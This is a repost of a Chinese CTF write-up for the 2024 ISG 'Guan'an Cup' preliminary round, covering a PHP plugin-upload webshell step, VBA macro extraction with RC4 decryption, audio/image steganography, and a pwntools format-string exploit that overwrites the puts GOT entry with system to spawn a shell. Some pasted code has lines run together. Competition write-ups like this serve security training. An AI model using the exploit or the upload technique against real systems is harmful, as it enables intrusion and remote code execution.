0


2024年 ISG 网络安全技能竞赛“观安杯”管理运维赛初赛WP

2024年 ISG 网络安全技能竞赛“观安杯”管理运维赛初赛WP

2024年 ISG 网络安全技能竞赛“观安杯”管理运维赛初赛WP

[X] 🛰:ly3260344435
[X] 🐧:3260344435[X] BiliBili:鱼影安全
[X] 公众号:鱼影安全
[X] CSDN:落寞的魚丶
[X] 知识星球:中职-高职-CTF竞赛
[X] 信息安全评估(高职)、中职网络安全、金砖比赛、世界技能大赛省选拔选拔赛、电子取证比赛培训等

Web:

web_emm:

使用设置好的管理员用户和密码进行登录后台,然后点击插件

在这里插入图片描述
**在本地创建目录

test-test

,然后在

test

目录里创建

test.php

**

在这里插入图片描述
**注意看一下压缩包的结构,一定要是一个目录里面包含

php

文件,
不然就会报错显示安装失败,点击上传**

在这里插入图片描述
上传完事以后,访问路径

isg.idss-cn.com:25554/content/plugins/test/test.php

在这里插入图片描述

Misc:

misc office:

**

excl

表格

Base64

解码得到密码:

I#ziTxnxvbg#GC9

打开发现是假的**

在这里插入图片描述
在这里插入图片描述

**既然是

office

的题肯定想到

使用工具

oletool

得到

VB

宏代码进行分析**

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
提取:

Function Check(user_enc)
    Encrypted ="184,116,232,38,216,127,29,89,225,84,108,82,8,0,161,49,232,127,45,252,147,140,185,210,26,107,123,2,82,189,0,167,205,130,94,54,94,242,138,139,102,79,250,139,9,142,17,42,198,113,246,6,142,31,"If(user_enc <> Encrypted) Then
        Check = False
    Else
        Check = True
    End If
End Function

Private Sub Worksheet_Change(ByVal Target As Range)
    If Not Intersect(Target, Me.Range("B2")) Is Nothing Then
        If Check(crypto(Target.Value)) Then
            Me.Range("C2").Value ="success"
            Me.Range("C2").Interior.Color =RGB(232,245,233)
        Else
            Me.Range("C2").Value ="fail"
            Me.Range("C2").Interior.Color =RGB(251,233,231)
        End If
    End If
End Sub

Function crypto(sMessage)
    Dim kLen, x, y, i, j, temp
    Dim s(256)
 
    For i =0 To 255s(i)= i
    Next
 
    j =0
    For i =0 To 255
        j =(j +s(i)) Mod 256
        temp =s(i)s(i)=s(j)s(j)= temp
    Next
 
    x =0
    y =0
    For i =1 To Len(sMessage)
        x =(x +1) Mod 256
        y =(y +s(x)) Mod 256
        temp =s(x)s(x)=s(y)s(y)= temp
 
        crypto = crypto &(s((s(x)+s(y)) Mod 256) Xor Asc(Mid(sMessage, i,1)))&","
    Next
End Function

**发现是

RC4

直接进行解密(脚本:exp)**

def initialize_key_schedule(seed):
    key_schedule =list(range(256))  # 初始化密钥调度表
    j =0for i in range(256):
        j =(j + key_schedule[i])%256
        key_schedule[i], key_schedule[j]= key_schedule[j], key_schedule[i]return key_schedule

def rc4_crypt(seed, data):
    key_schedule =initialize_key_schedule(seed)
    x = y =0
    encrypted_data =[]for byte in data:
        x =(x +1)%256
        y =(y + key_schedule[x])%256
        key_schedule[x], key_schedule[y]= key_schedule[y], key_schedule[x]
        t = key_schedule[(key_schedule[x]+ key_schedule[y])%256]
        encrypted_data.append(chr(byte ^ t))return''.join(encrypted_data)

# 原始的加密数据
encrypted_data =[184,116,232,38,216,127,29,89,225,84,108,82,8,0,161,49,232,127,45,252,147,140,185,210,26,107,123,2,82,189,0,167,205,130,94,54,94,242,138,139,102,79,250,139,9,142,17,42,198,113,246,6,142,31]  # 省略了部分数据

#RC4密钥种子
key_seed =[0]*len(encrypted_data)  # 假设密钥种子与加密数据长度相同,这里仅作为示例

# 执行RC4解密
decrypted_data =rc4_crypt(key_seed, encrypted_data)print(decrypted_data)

在这里插入图片描述

方法2使用工具:

在这里插入图片描述

flag{H@ckRr5_n3\/eR_c@RE_@60u+_9eN+13m3N'5_@9r33MEn+5}
misc see it:

在这里插入图片描述

**音频文件,

binwalk -e

分离得到一个压缩包 里面有密码:

p@ssw0rd_1s_myg0

**

在这里插入图片描述
在这里插入图片描述
**得到密码可以想到使用

steghide

可以

info

查看是否有隐藏文件 发现有 直接使用命令解密**

**在使用

zsteg

工具得到

flag

**

steghide extract -sf challenge.wav
zsteg mygo.png

在这里插入图片描述

在这里插入图片描述

flag{m4k3_u53_0f_0p3n_50urc3_t00l5}

PWN:

pwn_reject dollar:

**输入存在

$

过滤**

在这里插入图片描述
在这里插入图片描述
**

Printf

输出时会进行排序,但是

\n

可以绕过。发现格式化字符串漏洞。**

**直接手写利用

payload getshell

**

exp:

Exp:
from pwn import *#p=remote("isg.idss-cn.com",29564)
p =process("./pwn")
libc =ELF("./libc.so.6")
elf =ELF("./pwn")

def inpt(content):
    p.sendlineafter("e > ","1")
    p.sendlineafter("ge > ",content)

def printf():
    p.sendlineafter("e > ","2")

def puts():
    p.sendlineafter("e > ","3")

def pwn():inpt("\n"+"%d"*42+".%p.")printf()
    p.recvuntil(".")
    libc.address =int(p.recvuntil(".")[:-1],16)-0x29d90
    addr1 =(libc.symbols['system']&0xffff)-0x21
    addr2 =((libc.symbols['system']>>16)&0xffff)-(libc.symbols['system']&0xffff)print('libc:',hex(libc.address))
    snd = b'\n'+b'%c'*0x20+b'%'+str(addr1).encode()+b'c%hn%'+str(addr2).encode()+b'c%hn'
    snd = snd.ljust((0x22-8)*8)+p64(elf.got['puts'])
    snd = snd.ljust((0x24-8)*8)+p64(elf.got['puts']+2)inpt(snd)printf()inpt("sh;")puts()
    p.interactive()pwn()
##flag{4DSmeHyBCZtF71VEPopsYvx5qa9UiGQu}
标签: CTF Misc Web

本文转载自: https://blog.csdn.net/Aluxian_/article/details/141325622
版权归原作者 落寞的魚丶 所有, 如有侵权,请联系我们删除。

“2024年 ISG 网络安全技能竞赛“观安杯”管理运维赛初赛WP”的评论:

还没有评论